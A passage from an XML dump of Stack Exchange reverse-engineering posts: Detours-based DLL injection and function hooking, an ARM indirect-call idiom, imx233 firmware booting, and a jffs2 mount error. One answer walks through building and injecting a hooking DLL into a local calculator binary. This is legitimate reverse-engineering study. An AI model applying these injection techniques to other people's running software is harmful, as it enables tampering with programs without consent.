&amp;lt;&amp;lt; arg1 &amp;lt;&amp;lt; std::endl; //print argument&#xA;    std::cout &amp;lt;&amp;lt; &quot;original function: argument2 = &quot; &amp;lt;&amp;lt; arg2 &amp;lt;&amp;lt; std::endl; //print argument&#xA;    std::cout &amp;lt;&amp;lt; &quot;original function: argument3 = &quot; &amp;lt;&amp;lt; arg3 &amp;lt;&amp;lt; std::endl; //print argument&#xA;    std::cout &amp;lt;&amp;lt; &quot;original function: argument4 = &quot; &amp;lt;&amp;lt; arg4 &amp;lt;&amp;lt; std::endl; //print argument&#xA;    std::cout &amp;lt;&amp;lt; &quot;original function: argument5 = &quot; &amp;lt;&amp;lt; arg5 &amp;lt;&amp;lt; std::endl; //print argument&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;    HMODULE FlashToolLib = GetModuleHandleA(&quot;FlashToolLib.dll&quot;);&#xA;    LPVOID fConnect = (LPVOID)GetProcAddress(FlashToolLib, &quot;FlashTool_Connect_BROM_ByName&quot;);&#xA;&#xA;&#xA;    switch (dwReason)&#xA;    {&#xA;&#xA;&#xA;    case DLL_PROCESS_ATTACH:&#xA;&#xA;&#xA;        MessageBox(NULL, L&quot;We are in.&quot;, L&quot;Injection Success.&quot;, MB_OK);&#xA;        DetourTransactionBegin();&#xA;        DetourAttach((PVOID*)fConnect,(PVOID)hookedFunc);&#xA;        DetourTransactionCommit();&#xA;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17731" LastEditorUserId="17731" LastEditDate="2016-10-14T03:58:18.037" LastActivityDate="2016-10-14T21:20:45.367" Title="Reverse Engineering Exported DLL Function" Tags="|c++|function-hooking|dll-injection|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13718" PostTypeId="1" AcceptedAnswerId="13719" CreationDate="2016-10-14T10:50:13.283" Score="2" ViewCount="1165" Body="&lt;p&gt;I noticed a strange instruction pattern. First the value of PC is moved into LR and then a register value is moved into PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00001488                 MOV             LR, PC&#xA;.text:0000148C                 MOV             PC, R2&#xA; ...&#xA;.text:000304E8                 MOVNE           LR, PC&#xA;.text:000304EC                 MOVNE           PC, R3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this pattern corresponds to a call instruction, wouldn't this result in an endless loop? If this does not correspond to a call, what is this ?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2016-10-14T17:58:59.733" Title="ARM assembly: Strange instruction pattern (endless loop?)" Tags="|disassembly|assembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13719" PostTypeId="2" ParentId="13718" CreationDate="2016-10-14T11:37:27.170" Score="3" Body="&lt;p&gt;I'm not pretty sure if it is a call pattern, but this code is OK because of pipeline and will not create the endless loop. As people quoting &lt;a href=&quot;https://community.arm.com/thread/2341&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; from &lt;a href=&quot;http://liris.cnrs.fr/~mmrissa/lib/exe/fetch.php?media=armv7-a-r-manual.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;on page A2-11 (Section A2.3) of the manual (ARM Architecture Reference&#xA;  Manual ARMv7-A and ARMv7-R edition) it's been said that:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;PC, the program counter&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;When executing an ARM instruction, PC reads as the address of the current instruction plus 8.&lt;/li&gt;&#xA;  &lt;li&gt;When executing a Thumb instruction, PC reads as the address of the current instruction plus 4.&lt;/li&gt;&#xA;  &lt;li&gt;Writing an address to PC causes a branch to that address.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Most Thumb instructions cannot access PC. The ARM instruction set&#xA;  provides more general access to the PC, and many ARM instructions can&#xA;  use the PC as a general-purpose register. However, ARM deprecates the&#xA;  use of PC for any purpose other than as the program counter. See&#xA;  Writing to the PC on page A2-46 for more information. Software can&#xA;  refer to PC as R15&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-10-14T11:37:27.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13720" PostTypeId="1" CreationDate="2016-10-14T14:47:05.580" Score="4" ViewCount="328" Body="&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - To load a older version of the firmware on the device because it has features the newer version does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - To set the player up as a multi-boot (U-boot). key press for original OS or my custom compiled linux OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardware&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mp3 player based on mx23 from Freescale, mmc/SD storage 8GB, USB, 4“ LCD, UART.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 of the players and as far as I can tell the hardware is the same between the players. (LCD, MMC, UART, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTP eFuse sets the boot mode as SD_MBR_BOOT—SD Master Boot Record (MBR) mode.&#xA;They do NOT use Boot Control Block (BCB). (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6666/why-would-copying-a-micro-sd-card-using-dd-fail-to-produce-a-bootable-card&quot;&gt;see question&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one of the players I have soldered to the UART test pads and with a buffer connected to a PC serial port. &#xA;I will call this the &lt;strong&gt;TEST&lt;/strong&gt; player, and the other 2 that do not have the UART soldered I will call &lt;strong&gt;DONOR-1&lt;/strong&gt; and &lt;strong&gt;DONOR-2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;TEST&lt;/strong&gt; player has the newer firmware that I would like to replace with the older firmware. &#xA;&lt;strong&gt;DONOR-1&lt;/strong&gt; and &lt;strong&gt;DONOR-2&lt;/strong&gt; both have an older firmware version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a firware-update.SB file that is the newer version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 4 unique firmware.SB files all different versions. Two of them contain the feature I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have done so far&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a custom compiled linux, I have made an image of the original OS from the mmc using dd. Image is in 3 parts due to 3G limit of fat32. This has been done for all 3 players. I load linux using the HID recovery mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to dd the &lt;strong&gt;TEST&lt;/strong&gt; image to the &lt;strong&gt;TEST&lt;/strong&gt; player without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If I replace any of the SB files with the other 3 the player will not boot&lt;/em&gt;. The LCD back light does come on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If I dd the whole image from the &lt;strong&gt;DONOR&lt;/strong&gt;s the player will not boot&lt;/em&gt;. The LCD back light will come on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have decrypted the recovered SB file from the images with sbtoelf (Rockbox). I have done the same with my image that has u-boot and linux in it as a comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware SB files have 8 sections in them. 3 bootable and 5 clear text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My SB file has 1 section. Bootable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used ‘arm_disass’ to disassemble the ELF files. My knowledge here is weak, but I dont think that the disassemble program catches when the code switches between 16bit Thumb2 instructions and 32bit ARM instructions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short I am not able to get any firmware to boot on the &lt;strong&gt;TEST&lt;/strong&gt; device except the one that originally came from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The partition tables does not make sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fdisk -l&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sectors  = 512&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TEST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p1* 193406   15859711  7833153   1  FAT12&#xA;p2       4     126207    63102  53  OnTrack DM6 Aux&#xA;p3  189310     191357     1024   1  FAT12&#xA;p4  191358     193405     1024   1  FAT12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DONOR-1&lt;/strong&gt; is similar but not &lt;a href=&quot;http://pastebin.com/tNusGhYS&quot; rel=&quot;nofollow noreferrer&quot;&gt;exact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The players have a FAT32 partition that is larger that 7GB when it is plugged into a computer. Shows up as a mass storage device. This is where the media lives. Notice the missing blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware includes the &lt;a href=&quot;http://www.datasheetlib.com/datasheet/90559/mcimx233djm4b_freescale-semiconductor.html?page=1380&quot; rel=&quot;nofollow noreferrer&quot;&gt;MBR_SIGMATEL_ID&lt;/a&gt; after the MBR signature (55AA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/ZT9g9LF0&quot; rel=&quot;nofollow noreferrer&quot;&gt;MBR and MBR_SIGMATEL_ID&lt;/a&gt; of &lt;strong&gt;TEST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with the &lt;strong&gt;TEST&lt;/strong&gt; player and its good image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed the MBR_SIGMATEL_ID and there is not change in the way the player boots or does not boot.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Moved the boot flag from P1 to P2: Does not boot.&lt;/li&gt;&#xA;&lt;li&gt;Moved the boot flag from P1 to P3: Starts to boot then crashes.&lt;/li&gt;&#xA;&lt;li&gt;Moved the boot flag from P1 to P4: Starts to boot then crashes.&lt;/li&gt;&#xA;&lt;li&gt;Removed the boot flag: Starts to boot then crashes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am not sure what to do next. &lt;em&gt;Any suggestions?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;STMP3780 “Safe Binary” u-boot linux-fslc mx23 imx233  ARMv5&lt;/p&gt;&#xA;" OwnerUserId="13785" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2018-11-01T15:17:59.190" Title="How to make Freescale imx233 mp3 player boot with identical type player firmware.sb?" Tags="|disassembly|firmware|arm|hardware|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13721" PostTypeId="2" ParentId="13718" CreationDate="2016-10-14T17:58:59.733" Score="4" Body="&lt;p&gt;This was actually the correct way to perform indirect calls in ARM before the introduction of the &lt;code&gt;BLX&lt;/code&gt; instruction (ARMv5 IIRC). ARM(32-bit version) is special in that the value of PC is pointing two instructions ahead when you read it (so +8 in ARM mode and +4 in Thumb mode). So, taking your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00001488                 MOV             LR, PC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here, the &lt;code&gt;PC&lt;/code&gt; value will be 1488+8 = 1490, so &lt;code&gt;LR=0x1490&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000148C                 MOV             PC, R2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here, the &lt;code&gt;PC&lt;/code&gt; will be set to the value in &lt;code&gt;R2&lt;/code&gt; and the processor will start fetching instructions from that address. Most likely it will be a function which ends with a return instruction - &lt;code&gt;MOV PC, LR&lt;/code&gt; (IDA shows it as &lt;code&gt;RET&lt;/code&gt;), so the execution will resume at the value of &lt;code&gt;LR&lt;/code&gt;（0x1490) which happens to be just after the original &lt;code&gt;MOV PC, R2&lt;/code&gt; instruction (0148C+4=0x1490), so in effect that sequence of instruction is equivalent to &lt;code&gt;BLX R2&lt;/code&gt; in the newer processors.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-14T17:58:59.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13723" PostTypeId="2" ParentId="13717" CreationDate="2016-10-14T21:20:45.367" Score="1" Body="&lt;p&gt;Searched the local drive for an unknown binary that uses a dll&lt;br&gt;&#xA;found &lt;code&gt;calc.exe from gnuwin32&lt;/code&gt; it uses 2 dlls &lt;code&gt;calc2.dll&lt;/code&gt; and &lt;code&gt;readline5.dll&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copied all 3 of them to a test directory &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e:\GNUWIN32\bin&amp;gt;cp -v calc.exe calc2.dll readline5.dll e:\test\detours\.&#xA;`calc.exe' -&amp;gt; `e:\\test\\detours\\./calc.exe'&#xA;`calc2.dll' -&amp;gt; `e:\\test\\detours\\./calc2.dll'&#xA;`readline5.dll' -&amp;gt; `e:\\test\\detours\\./readline5.dll'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wrote a small idc script to dump an arbitrary function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e:\test\detours&amp;gt;cat temp.idc&#xA;#include &amp;lt;idc.idc&amp;gt;&#xA;static main(void)&#xA;{&#xA;  auto fp;&#xA;  fp = fopen(&quot;bla.lst&quot;,&quot;w&quot;);&#xA;  GenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);&#xA;  fclose(fp);&#xA;  Exit(2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed idafree to make a lst file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idag.exe -B -Stemp.idc calc2.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;found the RVA of an arbitrary Function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e:\test\detours&amp;gt;grep -i imagebase bla.lst&#xA;.text:68D41000 ; Imagebase   : 68D40000&#xA;&#xA;e:\test\detours&amp;gt;grep -i export.*zcmp bla.lst&#xA;.text:68DC1440 ; Exported entry 791. zcmp&#xA;.text:68DC1E10 ; Exported entry 792. zcmpmod&#xA;&#xA;e:\test\detours&amp;gt;set /a 0x68dc1440-0x68d40000&#xA;529472&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;made a simple poc using the rva &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//compiled and linked with enterprise wdk using&#xA;//cl /LD /W4 /Ox /Zi /analyze /EHsc d2r.cpp /link /DEBUG /RELEASE %linklibs% /EXPORT:DFunc&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;include\detours.h&quot;&#xA;#pragma comment (lib , &quot;lib\\detours.lib&quot;)&#xA;typedef void (__cdecl *SomeFunction)(int,int,int,int,int,int);&#xA;void  __cdecl DFunc(int i,int j,int k,int l,int m,int n);&#xA;SomeFunction Func2Detour = (SomeFunction)((DWORD)GetModuleHandle(&quot;calc2.dll&quot;) + 529472 );&#xA;void  __cdecl DFunc(int i,int j,int k,int l,int m,int n) {&#xA;  int x = 0;&#xA;  printf(&quot;Arg %2d = 0x%08x\t0x%08x\n&quot; , x++,i,*(int*)i);&#xA;  printf(&quot;Arg %2d = 0x%08x\n&quot; , x++, j);&#xA;  printf(&quot;Arg %2d = 0x%08x\n&quot; , x++, k);&#xA;  printf(&quot;Arg %2d = 0x%08x\t0x%08x\n&quot; , x++,l,*(int *)l);&#xA;  printf(&quot;Arg %2d = 0x%08x\n&quot; , x++, m);&#xA;  printf(&quot;Arg %2d = 0x%08x\n&quot; , x++, n);&#xA;  Func2Detour(i,j,k,l,m,n);&#xA;}&#xA;INT APIENTRY DllMain(HMODULE,DWORD Reason,LPVOID) {&#xA;  if (Reason == DLL_PROCESS_ATTACH ){&#xA;    DetourTransactionBegin();&#xA;    DetourUpdateThread(GetCurrentThread());&#xA;    DetourAttach(&amp;amp;(PVOID&amp;amp;)Func2Detour, DFunc);&#xA;    DetourTransactionCommit();&#xA;  }&#xA;  return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked as commented in source above &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) C/C++ Optimizing Compiler Version 19.00.23506 for x86&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;d2r.cpp&#xA;Microsoft (R) Incremental Linker Version 14.00.23506.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:d2r.dll&#xA;/dll&#xA;/implib:d2r.lib&#xA;/debug&#xA;/DEBUG&#xA;/RELEASE&#xA;user32.lib&#xA;kernel32.lib&#xA;dbghelp.lib&#xA;/EXPORT:DFunc&#xA;d2r.obj&#xA;   Creating library d2r.lib and object d2r.exp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;injected the dll with &lt;strong&gt;withdll.exe&lt;/strong&gt; from detours sample &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e:\test\detours&amp;gt;e:\detour\bin.X86\withdll.exe /d:d2r.dll .\calc.exe&#xA;withdll.exe: Starting: `.\calc.exe'&#xA;withdll.exe:   with `e:\test\detours\d2r.dll'&#xA;C-style arbitrary precision calculator (version 2.11.10.1)&#xA;Calc is open software. For license details type:  help copyright&#xA;[Type &quot;exit&quot; to exit, or &quot;help&quot; for help.]&#xA;&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the detour dumps all the six arguments &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; 2+2&#xA;Arg  0 = 0x0134b750     0x00000002&#xA;Arg  1 = 0x00000001&#xA;Arg  2 = 0x00000000&#xA;Arg  3 = 0x68de11f4     0x00000002&#xA;Arg  4 = 0x00000001&#xA;Arg  5 = 0x00000000&#xA;        4&#xA;; 45^89&#xA;        1367457148855142104017389933103900519105&#xA;058455901337287730364197964327832579556343262083&#xA;; 4^8&#xA;Arg  0 = 0x0134b7f8     0x00000004&#xA;Arg  1 = 0x00000001&#xA;Arg  2 = 0x00000000&#xA;Arg  3 = 0x68de11fc     0x00000004&#xA;Arg  4 = 0x00000001&#xA;Arg  5 = 0x00000000&#xA;        65536&#xA;; 4.5^8&#xA;Arg  0 = 0x0134b828     0x0000002d&#xA;Arg  1 = 0x00000001&#xA;Arg  2 = 0x00000000&#xA;Arg  3 = 0x0134dab8     0x0000000a&#xA;Arg  4 = 0x00000001&#xA;Arg  5 = 0x00000000&#xA;        168151.25390625&#xA;; 3&amp;amp;5&#xA;Arg  0 = 0x0134b828     0x00000003&#xA;Arg  1 = 0x00000001&#xA;Arg  2 = 0x00000000&#xA;Arg  3 = 0x68de11f8     0x00000003&#xA;Arg  4 = 0x00000001&#xA;Arg  5 = 0x00000000&#xA;        1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-10-14T21:20:45.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13725" PostTypeId="1" CreationDate="2016-10-15T01:01:34.650" Score="3" ViewCount="3538" Body="&lt;p&gt;Ok so have been trying to look some settings from a  jffs2 partition I extracted from a nand dump I had done previously Here ----&gt; &lt;a href=&quot;https://forum.openwrt.org/viewtopic.php?id=67564&quot; rel=&quot;nofollow&quot;&gt;https://forum.openwrt.org/viewtopic.php?id=67564&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I have preformed are as follows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;convert from big endian to little endian&#xA;$ jffs2dump -r -e  1D0000_converted.jffs2 -b 1D0000.jffs2&#xA;&#xA;Create the mtdblock devices&#xA;$ mkdir /dev/mtdblock&#xA;$ mknod /dev/mtdblock/0 b 31 0&#xA;$ mknod /dev/mtdblock/1 b 31 1&#xA;$ mknod /dev/mtdblock/2 b 31 2&#xA;&#xA;Mount the Image&#xA;$ modprobe jffs2&#xA;$ modprobe mtdram total_size=8192 erase_size=128&#xA;$ modprobe mtdblock&#xA;$ dd if=1D0000_converted.jffs2 of=/dev/mtdblock/0&#xA;$ mkdir /mnt/jffs2&#xA;$ mount -t jffs2 /dev/mtdblock/0 /mnt/jffs2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I browse to /mnt/jffs2&#xA;I can see all the files and directory's but i cant open any of the files i just get &#xA;Could not open the file&quot;mnt/jffs2/bank_1/etc/config/ethernet&quot;&#xA;Unexpected error: Error reading from the file: input/output error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dmesg output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[  100.279943] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.&#xA;[  222.654270] jffs2: Node at 0x0003ffac with length 0x00000099 would run over the end of the erase block&#xA;[  222.654272] jffs2: Perhaps the file system was created with the wrong erase size?&#xA;[  222.654274] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffb0: 0x0099 instead&#xA;[  222.654275] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffb4: 0x9a59 instead&#xA;[  222.654276] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffb8: 0x01a7 instead&#xA;[  222.654277] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffbc: 0x0465 instead&#xA;[  222.654278] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffc0: 0x81a4 instead&#xA;[  222.654279] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffc8: 0x9edc instead&#xA;[  222.654280] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffcc: 0x5ab1 instead&#xA;[  222.654281] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffd0: 0x5ab1 instead&#xA;[  222.654282] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffd4: 0x5ab1 instead&#xA;[  222.654283] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0003ffd8: 0x9e7c instead&#xA;[  222.654284] jffs2: Further such events for this erase block will not be printed&#xA;[  222.654286] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040000: 0xfd99 instead&#xA;[  222.654287] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040004: 0x1d95 instead&#xA;[  222.654288] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040008: 0x8d33 instead&#xA;[  222.654289] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0004000c: 0xb6c0 instead&#xA;[  222.654290] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040010: 0x9c47 instead&#xA;[  222.654291] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040014: 0x76b6 instead&#xA;[  222.654292] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040018: 0x86e5 instead&#xA;[  222.654293] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0004001c: 0x1520 instead&#xA;[  222.654294] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040020: 0x193f instead&#xA;[  222.654295] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00040024: 0x7b93 instead&#xA;[  222.654295] jffs2: Further such events for this erase block will not be printed&#xA;[  222.654355] jffs2: Node at 0x0005ff60 with length 0x000003d1 would run over the end of the erase block&#xA;[  222.654356] jffs2: Perhaps the file system was created with the wrong erase size?&#xA;[  222.654357] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060000: 0x87a0 instead&#xA;[  222.654358] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060004: 0x3003 instead&#xA;[  222.654359] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060008: 0x3926 instead&#xA;[  222.654360] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0006000c: 0x71f6 instead&#xA;[  222.654361] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060010: 0x799e instead&#xA;[  222.654362] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060014: 0xd7f5 instead&#xA;[  222.654371] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060018: 0x6e18 instead&#xA;[  222.654372] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x0006001c: 0x73ee instead&#xA;[  222.654373] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060020: 0xccfc instead&#xA;[  222.654374] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00060024: 0x6bfd instead&#xA;[  222.654375] jffs2: Further such events for this erase block will not be printed&#xA;[  222.654441] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0000: 0x4c22 instead&#xA;[  222.654452] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0004: 0x6e15 instead&#xA;[  222.654453] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0008: 0xe048 instead&#xA;[  222.654454] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c000c: 0xf50f instead&#xA;[  222.654455] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0010: 0xd19e instead&#xA;[  222.654456] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0014: 0xf35c instead&#xA;[  222.654457] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0018: 0x9cc2 instead&#xA;[  222.654458] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c001c: 0xd25b instead&#xA;[  222.654459] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0020: 0x7745 instead&#xA;[  222.654460] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x000c0024: 0x4abf instead&#xA;[  222.654461] jffs2: Further such events for this erase block will not be printed&#xA;[  222.654526] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0000: 0xa1c6 instead&#xA;[  222.654527] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0004: 0xd9d2 instead&#xA;[  222.654528] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0008: 0xa856 instead&#xA;[  222.654529] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a000c: 0x4019 instead&#xA;[  222.654530] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0010: 0xd580 instead&#xA;[  222.654531] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0014: 0xb7af instead&#xA;[  222.654532] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0018: 0xe93d instead&#xA;[  222.654533] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a001c: 0x7b96 instead&#xA;[  222.654534] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0020: 0x9cda instead&#xA;[  222.654535] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002a0024: 0xcd67 instead&#xA;[  222.654536] jffs2: Further such events for this erase block will not be printed&#xA;[  222.654992] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0000: 0x8a6d instead&#xA;[  222.654993] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0004: 0x20c1 instead&#xA;[  222.654994] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0008: 0x0de1 instead&#xA;[  222.654995] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c000c: 0x8841 instead&#xA;[  222.654996] jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x002c0010: 0xb9fb instead&#xA;[  222.654997] jffs2: 